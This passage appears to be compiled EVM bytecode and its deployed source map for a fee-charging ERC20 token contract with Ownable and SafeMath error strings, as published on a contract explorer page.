50919050565b5f61206e8261202c565b6120788185612036565b9350612088818560208601612046565b61209181612054565b840191505092915050565b5f6020820190508181035f8301526120b48184612064565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120e9826120c0565b9050919050565b6120f9816120df565b8114612103575f80fd5b50565b5f81359050612114816120f0565b92915050565b5f819050919050565b61212c8161211a565b8114612136575f80fd5b50565b5f8135905061214781612123565b92915050565b5f8060408385031215612163576121626120bc565b5b5f61217085828601612106565b925050602061218185828601612139565b9150509250929050565b5f8115159050919050565b61219f8161218b565b82525050565b5f6020820190506121b85f830184612196565b92915050565b5f819050919050565b5f6121e16121dc6121d7846120c0565b6121be565b6120c0565b9050919050565b5f6121f2826121c7565b9050919050565b5f612203826121e8565b9050919050565b612213816121f9565b82525050565b5f60208201905061222c5f83018461220a565b92915050565b61223b8161211a565b82525050565b5f6020820190506122545f830184612232565b92915050565b5f805f60608486031215612271576122706120bc565b5b5f61227e86828701612106565b935050602061228f86828701612106565b92505060406122a086828701612139565b9150509250925092565b6122b3816120df565b82525050565b5f6020820190506122cc5f8301846122aa565b92915050565b5f60ff82169050919050565b6122e7816122d2565b82525050565b5f6020820190506123005f8301846122de565b92915050565b5f6020828403121561231b5761231a6120bc565b5b5f61232884828501612106565b91505092915050565b5f61233b826120c0565b9050919050565b61234b81612331565b82525050565b5f6020820190506123645f830184612342565b92915050565b5f80604083850312156123805761237f6120bc565b5b5f61238d85828601612106565b925050602061239e85828601612106565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806123ec57607f821691505b6020821081036123ff576123fe6123a8565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612439602083612036565b915061244482612405565b602082019050919050565b5f6020820190508181035f8301526124668161242d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6124c7602683612036565b91506124d28261246d565b604082019050919050565b5f6020820190508181035f8301526124f4816124bb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612555602483612036565b9150612560826124fb565b604082019050919050565b5f6020820190508181035f83015261258281612549565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125e3602283612036565b91506125ee82612589565b604082019050919050565b5f6020820190508181035f830152612610816125d7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612671602583612036565b915061267c82612617565b604082019050919050565b5f6020820190508181035f83015261269e81612665565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6126ff602383612036565b915061270a826126a5565b604082019050919050565b5f6020820190508181035f83015261272c816126f3565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61278d602983612036565b915061279882612733565b604082019050919050565b5f6020820190508181035f8301526127ba81612781565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6127f88261211a565b91506128038361211a565b925082820390508181111561281b5761281a6127c1565b5b92915050565b5f61282b8261211a565b91506128368361211a565b925082820190508082111561284e5761284d6127c1565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612888601b83612036565b915061289382612854565b602082019050919050565b5f6020820190508181035f8301526128b58161287c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612924816120f0565b92915050565b5f6020828403121561293f5761293e6120bc565b5b5f61294c84828501612916565b91505092915050565b5f819050919050565b5f61297861297361296e84612955565b6121be565b61211a565b9050919050565b6129888161295e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6129c0816120df565b82525050565b5f6129d183836129b7565b60208301905092915050565b5f602082019050919050565b5f6129f38261298e565b6129fd8185612998565b9350612a08836129a8565b805f5b83811015612a38578151612a1f88826129c6565b9750612a2a836129dd565b925050600181019050612a0b565b5085935050505092915050565b5f60a082019050612a585f830188612232565b612a65602083018761297f565b8181036040830152612a7781866129e9565b9050612a8660608301856122aa565b612a936080830184612232565b9695505050505050565b5f612aa78261211a565b9150612ab28361211a565b9250828202612ac08161211a565b91508282048414831517612ad757612ad66127c1565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b158261211a565b9150612b208361211a565b925082612b3057612b2f612ade565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b95602183612036565b9150612ba082612b3b565b604082019050919050565b5f6020820190508181035f830152612bc281612b89565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a7d99d5177a9e38e167aa492c2c93a7f3611a1cd5464f78fd27708fea8ab5e4f64736f6c634300081a0033

Deployed Bytecode Sourcemap

8073:8118:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10498:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11779:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8922:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10775:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12886:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8329:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10684:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11161:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8589:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11664:107;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9033:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8532:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6236:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10883:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8688:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5617:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5831:145;;;;;;;;;;;;;:::i;:::-;;10589:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11387:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12711:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5493:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8970:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8277:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9081;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11010:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12293:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8645:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5984:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10498:83;10535:13;10568:5;10561:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10498:83;:::o;11779:161::-;11854:4;11871:39;11880:12;:10;:12::i;:::-;11894:7;11903:6;11871:8;:39::i;:::-;11928:4;11921:11;;11779:161;;;;:::o;8922:41::-;;;;;;;;;;;;;:::o;10775:100::-;10828:7;10855:12;;10848:19;;10775:100;:::o;12886:313::-;12984:4;13001:36;13011:6;13019:9;13030:6;13001:9;:36::i;:::-;;13048:121;13057:6;13065:12;:10;:12::i;:::-;13079:89;13117:6;13079:89;;;;;;;;;;;;;;;;;:11;:19;13091:6;13079:19;;;;;;;;;;;;;;;:33;13099:12;:10;:12::i;:::-;13079:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13048:8;:121::i;:::-;13187:4;13180:11;;12886:313;;;;;:::o;8329:71::-;;;;;;;;;;;;;:::o;10684:83::-;10725:5;10750:9;;;;;;;;;;;10743:16;;10684:83;:::o;11161:218::-;11249:4;11266:83;11275:12;:10;:12::i;:::-;11289:7;11298:50;11337:10;11298:11;:25;11310:12;:10;:12::i;:::-;11298:25;;;;;;;;;;;;;;;:34;11324:7;11298:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11266:8;:83::i;:::-;11367:4;11360:11;;11161:218;;;;:::o;8589:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;11664:107::-;11719:7;11746:17;;11739:24;;11664:107;:::o;9033:41::-;;;;;;;;;;;;;:::o;8532:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;6236:90::-;6276:7;6303:15;6296:22;;6236:90;:::o;10883:119::-;10949:7;10976:9;:18;10986:7;10976:18;;;;;;;;;;;;;;;;10969:25;;10883:119;;;:::o;8688:37::-;;;;:::o;5617:79::-;5655:7;5682:6;;;;;;;;;;;5675:13;;5617:79;:::o;5831:145::-;5754:12;:10;:12::i;:::-;5744:22;;:6;;;;;;;;;;:22;;;5736:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5935:1:::1;5898:40;;5919:6;::::0;::::1;;;;;;;;5898:40;;;;;;;;;;;;5966:1;5949:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5831:145::o:0;10589:87::-;10628:13;10661:7;10654:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10589:87;:::o;11387:269::-;11480:4;11497:129;11506:12;:10;:12::i;:::-;11520:7;11529:96;11568:15;11529:96;;;;;;;;;;;;;;;;;:11;:25;11541:12;:10;:12::i;:::-;11529:25;;;;;;;;;;;;;;;:34;11555:7;11529:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11497:8;:129::i;:::-;11644:4;11637:11;;11387:269;;;;:::o;12711:167::-;12789:4;12806:42;12816:12;:10;:12::i;:::-;12830:9;12841:6;12806:9;:42::i;:::-;;12866:4;12859:11;;12711:167;;;;:::o;5493:21::-;;;;;;;;;;;;:::o;8970:26::-;;;;;;;;;;;;;:::o;8277:45::-;;;;;;;;;;;;;:::o;9081:::-;;;;;;;;;;;;;:::o;11010:143::-;11091:7;11118:11;:18;11130:5;11118:18;;;;;;;;;;;;;;;:27;11137:7;11118:27;;;;;;;;;;;;;;;;11111:34;;11010:143;;;;:::o;12293:176::-;5754:12;:10;:12::i;:::-;5744:22;;:6;;;;;;;;;;:22;;;5736:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12413:8:::1;12376:15;;:46;;;;;;;;;;;;;;;;;;12457:4;12433:21;;:28;;;;;;;;;;;;;;;;;;12293:176:::0;:::o;8645:36::-;;;;:::o;5984:244::-;5754:12;:10;:12::i;:::-;5744:22;;:6;;;;;;;;;;:22;;;5736:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6093:1:::1;6073:22;;:8;:22;;::::0;6065:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6183:8;6154:38;;6175:6;::::0;::::1;;;;;;;;6154:38;;;;;;;;;;;;6212:8;6203:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5984:244:::0;:::o;129:115::-;182:15;225:10;210:26;;129:115;:::o;11948:337::-;12058:1;12041:19;;:5;:19;;;12033:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12139:1;12120:21;;:7;:21;;;12112:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12223:6;12193:11;:18;12205:5;12193:18;;;;;;;;;;;;;;;:27;12212:7;12193:27;;;;;;;;;;;;;;;:36;;;;12261:7;12245:32;;12254:5;12245:32;;;12270:6;12245:32;;;;;;:::i;:::-;;;;;;;;11948:337;;;:::o;13207:1307::-;13294:4;13339:1;13321:20;;:6;:20;;;13313:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13423:1;13402:23;;:9;:23;;;13394:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13493:1;13484:6;:10;13476:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13564:16;;;;;;;;;;;13561:946;;;13613:41;13628:6;13636:9;13647:6;13613:14;:41::i;:::-;13606:48;;;;13561:946;13707:28;13738:24;13756:4;13738:9;:24::i;:::-;13707:55;;13784:16;;;;;;;;;;;13783:17;:42;;;;;13805:12;:20;13818:6;13805:20;;;;;;;;;;;;;;;;;;;;;;;;;13804:21;13783:42;:67;;;;;13829:21;;;;;;;;;;;13783:67;13779:274;;;13887:25;;;;;;;;;;;13884:91;;;13958:17;;13935:40;;13884:91;13994:43;14009:20;14030:6;13994:14;:43::i;:::-;13779:274;14089:53;14111:6;14089:53;;;;;;;;;;;;;;;;;:9;:17;14099:6;14089:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14069:9;:17;14079:6;14069:17;;;;;;;;;;;;;;;:73;;;;14159:19;14182:17;:25;14200:6;14182:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;14211:17;:28;14229:9;14211:28;;;;;;;;;;;;;;;;;;;;;;;;;14182:57;14181:147;;14294:34;14302:6;14310:9;14321:6;14294:7;:34::i;:::-;14181:147;;;14285:6;14181:147;14159:169;;14370:37;14395:11;14370:9;:20;14380:9;14370:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;14347:9;:20;14357:9;14347:20;;;;;;;;;;;;;;;:60;;;;14446:9;14429:40;;14438:6;14429:40;;;14457:11;14429:40;;;;;;:::i;:::-;;;;;;;;14491:4;14484:11;;;;13207:1307;;;;;;:::o;1563:192::-;1649:7;1682:1;1677;:6;;1685:12;1669:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1709:9;1725:1;1721;:5;;;;:::i;:::-;1709:17;;1746:1;1739:8;;;1563:192;;;;;:::o;1230:181::-;1288:7;1308:9;1324:1;1320;:5;;;;:::i;:::-;1308:17;;1349:1;1344;:6;;1336:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1402:1;1395:8;;;1230:181;;;;:::o;14522:330::-;14615:4;14652:53;14674:6;14652:53;;;;;;;;;;;;;;;;;:9;:17;14662:6;14652:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14632:9;:17;14642:6;14632:17;;;;;;;;;;;;;;;:73;;;;14739:32;14764:6;14739:9;:20;14749:9;14739:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;14716:9;:20;14726:9;14716:20;;;;;;;;;;;;;;;:55;;;;14804:9;14787:35;;14796:6;14787:35;;;14815:6;14787:35;;;;;;:::i;:::-;;;;;;;;14840:4;14833:11;;14522:330;;;;;:::o;14862:704::-;9653:4;9634:16;;:23;;;;;;;;;;;;;;;;;;14981:21:::1;15019:1;15005:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14981:40;;15050:4;15032;15037:1;15032:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15076:6;15066:4;15071:1;15066:7;;;;;;;;:::i;:::-;;;;;;;:16;;;;;;;;;::::0;::::1;15103:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15093:4;15098:1;15093:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;15172:15;;;;;;;;;;;:66;;;15249:7;15267:1;15307:4;15330;15362:15;15172:216;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15401:22;15426:21;15401:46;;15480:1;15463:14;:18;15460:96;;;15496:60;15517:22;;;;;;;;;;;15541:14;15496:20;:60::i;:::-;15460:96;14938:628;;9699:5:::0;9680:16;;:24;;;;;;;;;;;;;;;;;;14862:704;;:::o;15576:605::-;15662:7;15684:17;15704:1;15684:21;;15719:12;:20;15732:6;15719:20;;;;;;;;;;;;;;;;;;;;;;;;;15716:237;;;15768:38;15802:3;15768:29;15779:17;;15768:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;15756:50;;15716:237;;;15850:12;:23;15863:9;15850:23;;;;;;;;;;;;;;;;;;;;;;;;;15847:106;;;15902:39;15937:3;15902:30;15913:18;;15902:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;15890:51;;15847:106;15716:237;15978:1;15966:9;:13;15963:170;;;16020:39;16049:9;16020;:24;16038:4;16020:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;15996:9;:21;16014:1;15996:21;;;;;;;;;;;;;;;:63;;;;16104:4;16079:42;;16088:6;16079:42;;;16111:9;16079:42;;;;;;:::i;:::-;;;;;;;;15963:170;16152:21;16163:9;16152:6;:10;;:21;;;;:::i;:::-;16145:28;;;15576:605;;;;;:::o;12479:126::-;12571:9;:18;;:26;12590:6;12571:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12479:126;;:::o;1763:250::-;1821:7;1850:1;1845;:6;1841:47;;1875:1;1868:8;;;;1841:47;1900:9;1916:1;1912;:5;;;;:::i;:::-;1900:17;;1945:1;1940;1936;:5;;;;:::i;:::-;:10;1928:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2004:1;1997:8;;;1763:250;;;;;:::o;2021:132::-;2079:7;2106:39;2110:1;2113;2106:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2099:46;;2021:132;;;;:::o;1419:136::-;1477:7;1504:43;1508:1;1511;1504:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1497:50;;1419:136;;;;:::o;2161:278::-;2247:7;2279:1;2275;:5;2282:12;2267:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2306:9;2322:1;2318;:5;;;;:::i;:::-;2306:17;;2430:1;2423:8;;;2161:278;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:60::-;3367:3;3388:5;3381:12;;3339:60;;;:::o;3405:142::-;3455:9;3488:53;3506:34;3515:24;3533:5;3515:24;:::i;:::-;3506:34;:::i;:::-;3488:53;:::i;:::-;3475:66;;3405:142;;;:::o;3553:126::-;3603:9;3636:37;3667:5;3636:37;:::i;:::-;3623:50;;3553:126;;;:::o;3685:152::-;3761:9;3794:37;3825:5;3794:37;:::i;:::-;3781:50;;3685:152;;;:::o;3843:183::-;3956:63;4013:5;3956:63;:::i;:::-;3951:3;3944:76;3843:183;;:::o;4032:274::-;4151:4;4189:2;4178:9;4174:18;4166:26;;4202:97;4296:1;4285:9;4281:17;4272:6;4202:97;:::i;:::-;4032:274;;;;:::o;4312:118::-;4399:24;4417:5;4399:24;:::i;:::-;4394:3;4387:37;4312:118;;:::o;4436:222::-;4529:4;4567:2;4556:9;4552:18;4544:26;;4580:71;4648:1;4637:9;4633:17;4624:6;4580:71;:::i;:::-;4436:222;;;;:::o;4664:619::-;4741:6;4749;4757;4806:2;4794:9;4785:7;4781:23;4777:32;4774:119;;;4812:79;;:::i;:::-;4774:119;4932:1;4957:53;5002:7;4993:6;4982:9;4978:22;4957:53;:::i;:::-;4947:63;;4903:117;5059:2;5085:53;5130:7;5121:6;5110:9;5106:22;5085:53;:::i;:::-;5075:63;;5030:118;5187:2;5213:53;5258:7;5249:6;5238:9;5234:22;5213:53;:::i;:::-;5203:63;;5158:118;4664:619;;;;;:::o;5289:118::-;5376:24;5394:5;5376:24;:::i;:::-;5371:3;5364:37;5289:118;;:::o;5413:222::-;5506:4;5544:2;5533:9;5529:18;5521:26;;5557:71;5625:1;5614:9;5610:17;5601:6;5557:71;:::i;:::-;5413:222;;;;:::o;5641:86::-;5676:7;5716:4;5709:5;5705:16;5694:27;;5641:86;;;:::o;5733:112::-;5816:22;5832:5;5816:22;:::i;:::-;5811:3;5804:35;5733:112;;:::o;5851:214::-;5940:4;5978:2;5967:9;5963:18;5955:26;;5991:67;6055:1;6044:9;6040:17;6031:6;5991:67;:::i;:::-;5851:214;;;;:::o;6071:329::-;6130:6;6179:2;6167:9;6158:7;6154:23;6150:32;6147:119;;;6185:79;;:::i;:::-;6147:119;6305:1;6330:53;6375:7;6366:6;6355:9;6351:22;6330:53;:::i;:::-;6320:63;;6276:117;6071:329;;;;:::o;6406:104::-;6451:7;6480:24;6498:5;6480:24;:::i;:::-;6469:35;;6406:104;;;:::o;6516:142::-;6619:32;6645:5;6619:32;:::i;:::-;6614:3;6607:45;6516:142;;:::o;6664:254::-;6773:4;6811:2;6800:9;6796:18;6788:26;;6824:87;6908:1;6897:9;6893:17;6884:6;6824:87;:::i;:::-;6664:254;;;;:::o;6924:474::-;6992:6;7000;7049:2;7037:9;7028:7;7024:23;7020:32;7017:119;;;7055:79;;:::i;:::-;7017:119;7175:1;7200:53;7245:7;7236:6;7225:9;7221:22;7200:53;:::i;:::-;7190:63;;7146:117;7302:2;7328:53;7373:7;7364:6;7353:9;7349:22;7328:53;:::i;:::-;7318:63;;7273:118;6924:474;;;;;:::o;7404:180::-;7452:77;7449:1;7442:88;7549:4;7546:1;7539:15;7573:4;7570:1;7563:15;7590:320;7634:6;7671:1;7665:4;7661:12;7651:22;;7718:1;7712:4;7708:12;7739:18;7729:81;;7795:4;7787:6;7783:17;7773:27;;7729:81;7857:2;7849:6;7846:14;7826:18;7823:38;7820:84;;7876:18;;:::i;:::-;7820:84;7641:269;7590:320;;;:::o;7916:182::-;8056:34;8052:1;8044:6;8040:14;8033:58;7916:182;:::o;8104:366::-;8246:3;8267:67;8331:2;8326:3;8267:67;:::i;:::-;8260:74;;8343:93;8432:3;8343:93;:::i;:::-;8461:2;8456:3;8452:12;8445:19;;8104:366;;;:::o;8476:419::-;8642:4;8680:2;8669:9;8665:18;8657:26;;8729:9;8723:4;8719:20;8715:1;8704:9;8700:17;8693:47;8757:131;8883:4;8757:131;:::i;:::-;8749:139;;8476:419;;;:::o;8901:225::-;9041:34;9037:1;9029:6;9025:14;9018:58;9110:8;9105:2;9097:6;9093:15;9086:33;8901:225;:::o;9132:366::-;9274:3;9295:67;9359:2;9354:3;9295:67;:::i;:::-;9288:74;;9371:93;9460:3;9371:93;:::i;:::-;9489:2;9484:3;9480:12;9473:19;;9132:366;;;:::o;9504:419::-;9670:4;9708:2;9697:9;9693:18;9685:26;;9757:9;9751:4;9747:20;9743:1;9732:9;9728:17;9721:47;9785:131;9911:4;9785:131;:::i;:::-;9777:139;;9504:419;;;:::o;9929:223::-;10069:34;10065:1;10057:6;10053:14;10046:58;10138:6;10133:2;10125:6;10121:15;10114:31;9929:223;:::o;10158:366::-;10300:3;10321:67;10385:2;10380:3;10321:67;:::i;:::-;10314:74;;10397:93;10486:3;10397:93;:::i;:::-;10515:2;10510:3;10506:12;10499:19;;10158:366;;;:::o;10530:419::-;10696:4;10734:2;10723:9;10719:18;10711:26;;10783:9;10777:4;10773:20;10769:1;10758:9;10754:17;10747:47;10811:131;10937:4;10811:131;:::i;:::-;10803:139;;10530:419;;;:::o;10955:221::-;11095:34;11091:1;11083:6;11079:14;11072:58;11164:4;11159:2;11151:6;11147:15;11140:29;10955:221;:::o;11182:366::-;11324:3;11345:67;11409:2;11404:3;11345:67;:::i;:::-;11338:74;;11421:93;11510:3;11421:93;:::i;:::-;11539:2;11534:3;11530:12;11523:19;;11182:366;;;:::o;11554:419::-;11720:4;11758:2;11747:9;11743:18;11735:26;;11807:9;11801:4;11797:20;11793:1;11782:9;11778:17;11771:47;11835:131;11961:4;11835:131;:::i;:::-;11827:139;;11554:419;;;:::o;11979:224::-;12119:34;12115:1;12107:6;12103:14;12096:58;12188:7;12183:2;12175:6;12171:15;12164:32;11979:224;:::o;12209:366::-;12351:3;12372:67;12436:2;12431:3;12372:67;:::i;:::-;12365:74;;12448:93;12537:3;12448:93;:::i;:::-;12566:2;12561:3;12557:12;12550:19;;12209:366;;;:::o;12581:419::-;12747:4;12785:2;12774:9;12770:18;12762:26;;12834:9;12828:4;12824:20;12820:1;12809:9;12805:17;12798:47;12862:131;12988:4;12862:131;:::i;:::-;12854:139;;12581:419;;;:::o;13006:222::-;13146:34;13142:1;13134:6;13130:14;13123:58;13215:5;13210:2;13202:6;13198:15;13191:30;13006:222;:::o;13234:366::-;13376:3;13397:67;13461:2;13456:3;13397:67;:::i;:::-;13390:74;;13473:93;13562:3;13473:93;:::i;:::-;13591:2;13586:3;13582:12;13575:19;;13234:366;;;:::o;13606:419::-;13772:4;13810:2;13799:9;13795:18;13787:26;;13859:9;13853:4;13849:20;13845:1;13834:9;13830:17;13823:47;13887:131;14013:4;13887:131;:::i;:::-;13879:139;;13606:419;;;:::o;14031:228::-;14171:34;14167:1;14159:6;14155:14;14148:58;14240:11;14235:2;14227:6;14223:15;14216:36;14031:228;:::o;14265:366::-;14407:3;14428:67;14492:2;14487:3;14428:67;:::i;:::-;14421:74;;14504:93;14593:3;14504:93;:::i;:::-;14622:2;14617:3;14613:12;14606:19;;14265:366;;;:::o;14637:419::-;14803:4;14841:2;14830:9;14826:18;14818:26;;14890:9;14884:4;14880:20;14876:1;14865:9;14861:17;14854:47;14918:131;15044:4;14918:131;:::i;:::-;14910:139;;14637:419;;;:::o;15062:180::-;15110:77;15107:1;15100:88;15207:4;15204:1;15197:15;15231:4;15228:1;15221:15;15248:194;15288:4;15308:20;15326:1;15308:20;:::i;:::-;15303:25;;15342:20;15360:1;15342:20;:::i;:::-;15337:25;;15386:1;15383;1537